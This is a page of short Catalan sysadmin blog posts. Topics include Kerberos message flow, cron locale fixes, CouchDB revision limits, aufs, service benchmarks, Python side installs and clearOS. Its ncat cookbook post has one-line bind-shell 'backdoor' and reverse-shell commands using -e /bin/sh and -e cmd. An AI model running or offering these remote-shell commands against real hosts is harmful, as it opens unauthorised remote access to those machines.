Jul 27

Podcast 2×06: Com funciona Kerberos? autenticació i autorització (AA)

Reading time: 4 – 6 minutes

El podcast



Notes

Estàndard RFC1510 per l’autenticació, destaquen les funcionalitats de:

  • autenticació mutua
  • temps de connexió ràpids (session tickets)
  • delegació (autenticació recursiva entre serveis)

Esquemes

Simplifiació del funcionament

Hi ha 6 tipus de missatges (5 obligatoris + 1 opcional), agrupats en 3 su-protocols:

  • AS (Authentication Service) – es produeix durant el procés de “login” i li permet al client poder demanar un ticket per accedir als recursos (TGT)
    • KRB_AS_REP
      • Client principal name.
      • Timestamp.
      • Kerberos target principle name (realm).
      • Requested lifetime.
    • KRB_AS_REP
      • La primera part va xifrada usant la clau d’usuari, conté:
        • User-TGS key (generated by the KDC).
        • Kerberos target principle name (realm).
        • Ticket lifetime.
      • La segona part és el TGT, va xifrat usant la clau TGS generada pel KDC només els servidor la poden obrir, malgrat això s’enmagatzema en el client i conté:
        • Client principal name.
        • Ticket lifetime.
        • KDC timestamp.
        • User-TGS key (which is not retained by the KDC, but its presence within the TGT means it is available when required).
        • Client IP address (taken from the initial KRB_AS_REQ).
  • TGS (Ticket Granting Service) – a través del TGT el client poy demanar un “service ticket” (ST) necessari per poder accedir a un servei. El TGT té un funcionament semblant al d’un password (expira amb el temps i no requereix password), el ST obtingut seria semblant a un visat d’accés a un país.
    • KRB_TGS_REQ
      • Service principal name.
      • Requested lifetime.
      • TGT (still encrypted with the TGS key).
      • Authenticator (encrypted with the user-TGS key and containing a client timestamp) – The authenticator guarantees that the request originated from the client.
    • KRB_TGS_REP
      • La primera part va xifrada amb la clau TGS de l’usuari (el KDC l’extreu del TGT) i conté:
        • Service principal name.
        • Ticket lifetime.
        • User service key (encrypted with a user-TGS session key, generated by the KDC).
      • Part dos, és el “service ticket” (ST). Xifrat usant la clau del servei TGS. Conté:
        • User service key (encrypted with a user-TGS session key, generated by the KDC).
        • Client principal name.
        • Ticket lifetime.
        • KDC timestamp.
        • Client IP address.
  • Client/Server (AP) Exchange – per accedir a un servei el client envia al servei un KRB_AP_REQ amb el ST obtingut. El servei pot o no contestar la petició, a vegades, el servei directament comença la seva sessió.
    • KRB_AP_REQ
      • ST xifrat amb la clau TGS del servei
      • Authenticator – encrypted with the user service key
    • KRB_AP_REP

Característiques

  • Realm‘ es defineix com un domini d’aministració
  • Tots els servidors i participants en les transaccions pertanyen al mateix ‘Realm’
  • Tots els missatges viatgen xifrats usant un codi simètric (no-PKI)
  • La “user key” es genera a partir del “logon password”
  • La “host key” es genera quan el “host” s’uneix al ‘Realm’
  • Si un client vol accedir a un servei i no ha fet el TGS pot enviar el TGT en el “AP exchange” i el servei farà la gestió amb el KDC de forma transparent.
  • Important recordar que:
  • només el KDC pot llegir el TGT
  • només el servei pot llegir el ST

Glossari d’acrònims

  • KDC: Key Distribution Center
  • AS: Authentication Service
  • TGS: Ticket Granting Service
  • SS: Service Server

Referències:

Error coneguts

  • Degut a un error el podcast 2×05 no exiteix. Sento l’error!
Jul 14

Notes sobre Munin i Crontab, problemes amb locales

Reading time: 1 – 2 minutes

muninResum de notes interessants que acabo de descobrir sobre: munin, crontab i locales. Tot plegat corrent amb Ubuntu.

  • crontab, té diversos fitxers de configuració a /etc/cron.d la sintaxis d’aquests és la mateixa que /etc/crontab
  • els fitxers que hi ha a /etc/cron.d sovint pertanyen a serveis que necessiten executar ordres periódicament
  • al llençar munin des de dintre d’aquest directori es generaben correus d’error del crontab, queixant-se de problemes amb les locales
  • dins el fitxer /etc/cron.d/munin podem declarar les locales i així no se’ns tornarà a donar el problema
  • si volem sobrecarregar on s’han d’enviar els correu d’error de cron en un dels fitxers que hi ha /etc/cron.d podem declarar la variable MAILTO=user@domain.tld dins el propi fitxer
Jul 13

CouchDB: fixar el límit màxim de revisions per document

Reading time: < 1 minute couchdb logo
Per defecte i fins que no es fa una compactació de la base de dades CouchDB permet fins a 1000 revisions d’un document, cosa que sovint no acostuma a ser necessari. Així doncs, si volem canviar aquesta paràmetre finalment a la versió 0.11 ja el podem canviar.

Set _revs_limit of a particular database:

curl -X PUT -d "1500" http://localhost:5984/test/_revs_limit
#=> {"ok":true}

Read _revs_limit of a particular database:

curl -X GET http://localhost:5984/test/_revs_limit
#=> 1500

informació original de: accessing database specific options.

Agraiments: gràcies @marcos 😉

May 31

netcat – cookbook

Reading time: 2 – 3 minutes

  • client TCP, en aquest cas HTTP
C:\client>ncat google.com 80
GET / HTTP/1.1
  • client telnet:
C:\client>ncat -t 192.168.1.1 23
  • simula un servidor TCP/HTTP molt simple:
C:\server>ncat -l 127.0.0.1 80 < stuff.txt
C:\client>ncat localhost 80

C:\server>ncat -l --keep-open 80 < stuff.txt
C:\client>ncat localhost 80
  • servidor UDP:
C:\server>ncat -l 74 --udp
C:\client>ncat --udp localhost 74 < stuff.txt
  • es pot especificar el port i IP origen a usar:
C:\client>ncat www.irongeek.com 80 -p 80 -s 127.0.0.1
C:\client>ncat www.irongeek.com 80 -p 80 -s 192.168.1.1
  • interconnecta clients, ‘proxy-tcp’
C:\server>ncat -l 74
C:\client1>ncat localhost 74
C:\client2>ncat localhost 74

C:\server>ncat -l 74 --broker
C:\client1>ncat localhost 74
C:\client2>ncat localhost 74
  • servidor de ‘chat’ molt simple
C:\server>ncat -l 74 --chat
C:\client1>ncat localhost 74
C:\client2>ncat localhost 74
  • client TCP+SSL:
C:\client>ncat gmail.google.com 443 --ssl
GET / HTTP/1.1
  • transmissió de fitxers via TCP+SSL:
C:\server>ncat.exe -l --ssl 74 --send-only < ncat.exe
C:\client>ncat localhost 74 --ssl > out2.exe
(ends self)

C:\client>ncat --ssl -vvv -l > newfile
C:\server>ncat -v --send-only --ssl localhost < ncat.exe
(Good for getting around NAT)
  • proxy molt simple:
C:\ncat>ncat -l 8080 --proxy-type http --proxy-auth adc:test --ssl
  • shell amb backdoor:
    • Linux:
ncat -l 23 -e /bin/sh
C:\server>ncat 192.168.159.128 23
    • Windows:
C:\server>ncat -l 23 -e cmd
ncat 192.168.159.129 23
  • Reverse Shell (aka: Shovel Shell)
C:\server>ncat -l 74
C:\client>ncat 192.168.159.128 74 -e cmd
  • netcat relay
C:\ncat>ncat -l localhost 80 --sh-exec "ncat google.com 80 -o text.txt -x hex.txt"
May 31

Aufs – la evolució del unionfs

Reading time: 2 – 2 minutes

En les properes setamenes hauré de tornar-me a posar les piles amb els sistemes de fitxers COW(Copy-On-Write), ja havia jugat molt amb unionfs per tal de montar un player linux de digital signage fa uns 2 anys. Però ara estic fent una integració amb MeeGo que porta per defecte el sistema de fitxers BRTFS el qual presenta moltíssimes diferencies en comparació a un sistema de fitxers amb journaling normal com podria ser ext3 i ext4.

La qüestió és que em cal intentar assegurar el bon funcionament d’un sistema operatiu a cada arrencada i havia pensat que potser això podia ser una bona idea, bé ja aniré explicant els resultats del experiments quan toquin. Ara només volia avançar-vos algunes de les funcionalitats i millores que suposa aufs respecte unionfs.

  • permet unir diferents directoris en un directori virtual nou, a cada directori se l’anomenarà una ‘branch’
  • a cada ‘branch’ li podem especificar una ‘flag’ diferent: ‘readonly’, ‘readwrite’ i ‘whiteout-able’
  • gràcies a al nou directori virtual podem simular la capacitat de modificar, afegir i borrar elements en un directori de només lectura
  • suporta la capacitat d’afegir/treure ‘branch’ d’un directori virtual en calent

La llista de funcionalitats és força més llarga però el més important és que el nou aufs és molt més ràpid i confiable que el unionfs.

May 12

benchmarking: gearman, couchdb i redis

Reading time: 2 – 3 minutes

No es tracta d’unes proves de rendiment serioses i estríctes, però almenys en el meu cas m’han servit per tenir una idea del rendiment d’aquestes aplicacions i poder dissenyar diferents arquitectures amb una mica més de coneixement de causa.

Per si no coneixeu les eines:

  • gearman: servidor de tasques
  • couchdb: sistema de bases de dades no relacional
  • redis: sistema de caché similar a memcached, però molt millor sota el meu punt de vista

Sistema sobre el que s’han fet les proves:

  • HP ML110 G5 – Xeon 2GHz – 4GB RAM – HD via NFS
    • Rendiment del disc: Timing buffered disk reads:   26 MB in  3.00 seconds =   8.66 MB/sec
  • SO Hypervisor: VMWare ESXi 3.5
  • Servidor virtual: 1 CPU 2GHz i 512Mb RAM
  • SO Guest: Ubuntu 8.04 Hardy

Resultats de les proves:

  • client de gearman, fa 5.000 requests al servidor:
    • gearman backend: default, cua no persistent
      • cmd: gearmand -vvv -u root
      • temps: ~32s – rendiment: ~156req/s
    • gearman backend: sqlite3, cua persistent
      • cmd: gearmand -vvv -u root –libsqlite3-db=/tmp/gearman_sqlite3.cache -q libsqlite3
      • temps: ~11m10s – rendiment: ~0.8req/s
    • gearman backend: tokyo cabinet btree, cua persistent
      • cmd: gearmand -q libtokyocabinet –libtokyocabinet-file=/tmp/gearmand.tcb -vvv -u root
      • temps: ~2m3s – rendiment: ~40req/s
    • gearman backend: tokyo cabinet hash, cua persistent
      • cmd: gearmand -q libtokyocabinet –libtokyocabinet-file=/tmp/gearmand.tch -vvv -u root
      • temps: ~2m5s – rendiment: ~40req/s
    • gearman backend: tokyo cabinet RAM, cua no persistent
      • cmd: gearmand -q libtokyocabinet –libtokyocabinet-file=”*” -vvv -u root
      • temps: ~17s – rendiment: ~294req/s
  • insertem 5.000 documents a couchdb:
    • temps: ~14s – rendiment: ~357req/s
  • redis fem 10.000 operacions de tipus:
    • SET: temps: ~0.35s – rendiment: ~28.375req/s
    • GET: temps: ~0.59s – rendiment: ~16.920req/s
    • PING: temps: ~0.33s – rendiment: ~30.471req/s
Apr 21

dues versions de python en un host

Reading time: < 1 minute A vegades cal fer algún invent extrany amb el python, com per exemple, el haver de tenir dues versions instal·lades. Sovint la nostre distribució ja portarà una versió del mateix i a més moltes eines de les distribucions acostumen a anar lligades a aquesta versió que millor no malmetre. Cookbook d'ordres per instal·lar un python 2.6.5 a més del 2.4.3 que ja portava el host:

cd /var/tmp
wget http://python.org/ftp/python/2.6.5/Python-2.6.5.tar.bz2
tar xvfj Python-2.6.5.tar.bz2
cd Python-2.6.5
./configure –prefix=/usr
make
make altinstall

si ara fem:

# python -V
Python 2.4.3
# python2.4 -V
Python 2.4.3
# python2.6 -V
Python 2.6.5
Feb 12

debian/ubuntu: buscant quin paquet conté un fitxer

Reading time: < 1 minute Referència ràpida per saber quin és el paquet en una debian/ubuntu que conté un fitxer. La típica funcionalitat que mai recordes quan et cal: Paquets instal·lats:

dpkg –search /path/fitxer

Fitxers de paquets no instal·lats:

# cal la utilitat apt-file
apt-get install apt-file
apt-file update
apt-file search fitxer
Jan 13

Turnkey Linux Virtual Appliances

Reading time: 2 – 3 minutes

Turnkey Linux logo

Turnkey Linux logo

Ahir comentava que el Carles hem va parlar de ClearOS, doncs bé, també em va comentar que hi havia un projecte opensource anomenat Turnkey Linux que bàsicament es dedica a fer software appliances amb els paquets de codi lliure més famosos, per exemple: LAMP, drupal, joombla, phpBB, dokuwiki, mediawiki, rails, tomcat, mysql, wordpress, etc. actualment diria que hi ha 56 paquets.

De fet, a part de per fer proves sobre certs paquets no trobo massa interessant aquestes software appliances. Però el que si que realment m’ha cridat l’atenció i he estat provant fa uns dies és el Turnkey Core, que en escència és la base del sistema que ells usen per montar les software appliances. Escencialment es tracta d’agafar una Ubuntu 8.04.3 LTS i donar-li suport de:

  • Target systems:
    • CD d’instal·lació optimitzat (instal·lació mínima) i ús com a liveCD
    • Màquines virtuals: VMDK HD i OVF (Xen, VMWare, Parallels, VirtualBox)
    • Amazon EC2 AMI
  • Configuration console (feta en python), permet configurar de forma senzilla funcions bàsiques:
    • xarxa
    • apagar
    • reiniciar
  • Ajax Web Shell (shellinabox): client SSH via web, realment va molt bé!
  • Web Management via Webmin
  • Regenera les claus dels certificats durant la instal·lació
    • SSL: webmin, apache2, lighttpd
    • SSH
  • Definir el password de root durant la instal·lació

Com podeu imaginar-vos la meva idea és agafar aquesta base de sistema per montar els meus propis servidors ja sigui a nivell privat o professional. De fet, estalvia prou feina i la instal·lació que fa Turnkey Core d’Ubuntu és prou petita com per fer una instal·lació a mida en cada cas. O sigui, que es poden intal·lar els paquets que volem sense haver de tenir coses innecessaries. Això si, pensant sempre en servidors.

Jan 12

clearOS Enterprise

Reading time: 3 – 4 minutes

clearOS logoAbans de marxar de vacances tot parlant amb el Carles vaig descobrir el clearOS i després d’un parell de dies fent-hi proves esporàdiques no volia deixar l’oportunitat d’escriure quatre ratlles sobre el que m’ha semblat.

Es tracta d’una distribució de linux especialment orientada a petites empreses amb pocs servidors, malgrat per algunes mitjanes empreses també crec que estaria ben indicada. Basada en Redhat/CentOS i totalment focalitzada a ser usada via una interficie web força amigable.

Incorpora diverses eines sempre gestionables desde web que permeten fer funcions de servidor de xarxa i/o de gateway de comunicacions. Per exemple:

  • funcions de directori
    • LDAP amb usuaris i passwords integrats per la resta de serveis
    • gestor de certificats de seguretat
  • funcions de xarxa
    • multi-wan
    • VPN, PPTP, IPSec, OpenVPN
    • DMZ i NAT 1-1
    • funcions de firewall
    • servidor DHCP i DNS
    • UPnP
  • funcions de gateway
    • antimalware: antivirus, antiphing i antispyware
    • antispam
    • gestor d’ampla de banda
    • detector d’intrusions
    • filtres de protocols, fins hi tot P2P
    • filtres de continguts
    • web proxy
    • control d’accés
  • funcions de servidor
    • Windows Networking com a PDC
    • serveis de fitxers i impresores
    • flexshares (diverses formes de compartir fitxers: SMB, FTP, Web, etc)
    • groupware i connector d’outlook
    • servidors de correu: POP, IMAP, SMTP, Webmail i recollida de correu
    • filtres de correu: antispam, antimalware, greylisting i quarantena
    • arxivador automàtic de correu
    • gestor de bbdd MySQL
    • servidor web amb PHP

A més al estar orientat a un entorn professional l’empresa que desenvolupa clearOS disposa d’un servei anomenat clearSDN, a través del qual es pot obtenir:

  • Software Updates Priority security and bug updates to the ClearOS software.
  • Content Updates Required updates to Content Filter, Intrusion Protection, Antispam and Antimalware.
  • Monitoring Alarms and reporting for bandwidth, resource and security management.
  • Remote Services Critical services for VPN, DNS and Remote Server Backup.

Fins hi tot tenen uns dispositius anomenats clearBOX que porten el sistema operatiu integrat i ja disposen d’uns quants ports ethernet, ideals per fer de gateway o fins hi tot de switch.

Com no podia ser d’altre forma tot plegat té un bon manual de suport pels usuaris més novells, ja que només amb una mica d’experiència en l’administració de sistemes tot plegat es fa molt intuitiu.

En general m’ha quedat un bon gust de boca pel que fa a l’eina, potser on més he trobat que coixeja el sistema és en detalls de configuració més avançats, per exemple, del servidor d’OpenVPN i cosetes similars. Però per empreses petites i mitjanes com ja deia abans és més que suficient en la majoria de casos.